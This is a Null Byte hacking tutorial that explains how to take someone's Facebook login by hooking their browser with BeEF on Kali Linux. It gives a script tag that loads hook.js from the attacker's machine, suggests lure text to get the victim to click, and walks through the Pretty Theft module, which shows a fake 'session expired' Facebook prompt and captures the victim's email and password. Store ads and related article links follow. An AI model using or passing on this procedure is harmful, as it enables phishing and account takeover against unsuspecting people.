Hack Like a Pro: How to Get Facebook Credentials Without Hacking Facebook « Null Byte :: WonderHowTo

Welcome back my, tenderfoot hackers!Many people come to Null Byte looking tohack Facebookwithout the requisite skills to do so. Facebook is far from unhackable, but to do so, you will needsome skills, and skill development is what Null Byte is all about.Sometimes, if you have a bit of skill, a bit of luck, and a bit of social engineering, youcanget Facebook credentials. That's what this tutorial is all about. If you don't take the time toinstall Kaliand learn a little aboutnetworkingandLinux, this won't work for you—but if you are willing to take a little time to study here at Null Byte, you can probably gain access to someone's Facebook credentials very easily with this little trick.(All Facebook users should take note of this if youdon't want to get hacked.)Step 1: Install Kali (If You Haven't Done So Already)The first step is todownload and install Kali Linux. This can be done as a standalone operating system, a dual-boot with your Windows or Mac system, or in a virtual machine inside the operating system of your choice. No, thiscannotbe done with Windows! Windows, for all its strengths and ease of use, is not anappropriate hacking operating system.Within Kali, there is an app called theBrowser Exploitation Framework (BeEF). It is capable of helping you hack the victim's browser and take control of it. Once you have control of their browser, there are so many things you can do. One of them is to trick the user into giving away their Facebook credentials, which I'll show you here.Step 2: Open BeEFFire up Kali, and you should be greeted with a screen like below. You start up BeEF by clicking on the cow icon to the left of the Kali desktop.When you click on it, it starts BeEF by opening a terminal.BeEF is an application that runs in the background on a web server on your system that you access from a browser. Once BeEF is up and running, open your IceWeasel browser to access its interface. You can login to BeEF by using the usernamebeefand the passwordbeef.You will then by greeted by BeEF's "Getting Started" screen.Step 3: Hook the Victim's BrowserThis is the most critical—maybe even the most difficult part—of this hack. You must get the victim to click on a specially designed JavaScript link to "hook" their browser. This can be done in innumerable ways.The simplest way is to simply embed the code into your website and entice the user to click on it. This might be done by such text as "Click here for more information" or "Click here to see the video." Use your imagination.The script looks something like below. Embed it into a webpage, and when someone clicks on it, you own their browser! (Comment below if you have any questions on this; You might also use theMitMfto send the code to the user, but this requires more skill.)<script src= "http://192.168.1.101:3000/hook.js&#8221 ; type= "text/javascript" ></script>From here, I will be assuming you have "hooked" the victim's browser and are ready to own it.Step 4: Send a Dialog Box to the UserWhen you have hooked the victim's browser, its IP address, along with the operating system and browser type icons, will appear in the "Hooked Browsers" panel on the left. Here, I have simply used my own browser to demonstrate.If we click on the hooked browser, it opens a BeEF interface on the right side. Notice that it gives us the details of the browser initially. It also provides us with a number of tabs. For our purposes here, we are interested in the 'Commands" tab.Click on the "Commands" tab, then scroll down the "Modules Tree" until you come to "Social Engineering" and click to expand it. It will display numerous social engineering modules. Click on "Pretty Theft," which will open a "Module Results History" and "Pretty Theft" window.This module enables you to send a pop-up window in the user's browser. In our case, we will be using the Facebook dialog box.If we click on the "Dialog Type" box, we can see that this module can not only create a Facebook dialog box, but also a LinkedIn, Windows, YouTube, Yammer, and a generic dialog box. Select the Facebook dialog type,then click on the "Execute" button the the bottom.Step 5: The Dialog Box Appears on the Target SystemWhen you click "Execute" in BeEF, a dialog box will appear in the victim's browser like that below. It tells the victim that their Facebook session has expired and they need to re-enter their credentials.Althoughyoumay be suspicious of such a pop-up box, most users will trust that their Facebook session expired and will simply enter their email and password in.Step 6: Harvest the CredentialsBack on our system in the BeEf interface, we can see that the credentials appear in the "Command results" window. The victim has entered their email address "loveofmylife@gmail.com" and their password "sweetbippy" and they have been captured and presented to you in BeEF.If you are really determined to get those Facebook credentials, it can be most definitely be done, and this is just one way of many methods (but probably the simplest).If you you want to develop the skills to an even higher level, start studying here at Null Byte to master the most valuable skill set of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up Two Different Facebook Accounts on One Android DeviceInstagram 101:Why You Should Never Put Hashtags in Your PostsHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)The Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesNews:Welcome to the WonderHowTo NetworkHow To:Hide All of the Social Numbers on Your Facebook Page with the DemetricatorHow To:Protect Yourself from the Biggest Jailbreak Hack in HistoryNews:You Can Now Save Your Live Instagram VideosHow To:View the Battery Percentage Indicator on Your iPhone X,XS,XSMax, orXRFinally:Smartphone Users Can Easily Access Their Kindle Notes & HighlightsHack Like a Pro:How to Hack Facebook (Same-Origin Policy)How To:Get Bokeh on Any Phone with Facebook Messenger's Portrait SelfiesNews:Always-Updated List of Phones With No Headphone Jack Built-InNews:Your iPhone's Lock Screen Is Getting Better Widgets, Notifications, & More in iOS 10News:Facebook Is Taking Snapchat Head-On with Disappearing Messages & PicturesFacebook Messenger 101:How to Keep Your Account When Deactivating FacebookNews:New Messenger Discover Feature Is a Blast from the Past — with a TwistNews:Here's Why Apple Getting Rid of the Headphone Connector Is a Terrible PlanHow To:Hack Someone's "Private" Friends List on Facebook to See All of Their FriendsHow To:4 Ways to Crack a Facebook Password & How to Protect Yourself from ThemInstagram 101:How to Add More Than 30 Hashtags to Your PostsNews:You Can Now Send Web Links & Landscape Photos on Instagram DirectHow To:Install Facebook Lite on Your iPhoneHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceHow To:Turn Your Android's Buttons into Shortcuts for Almost AnythingHow To:Automatically Skip YouTube Ads on Android—Without RootingHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Fix Your Hacked and Malware-Infested Website with GoogleSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:The Official Google+ Insider's Guide IndexHow To:Remove Gamers Unite from your Facebook AccountHow To:Find Your Friend's Email Address Through FacebookNews:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:FarmVille Orchard and Tree Gifting LinksNews:Bricked iPad Pros, Error 56, & How to Fix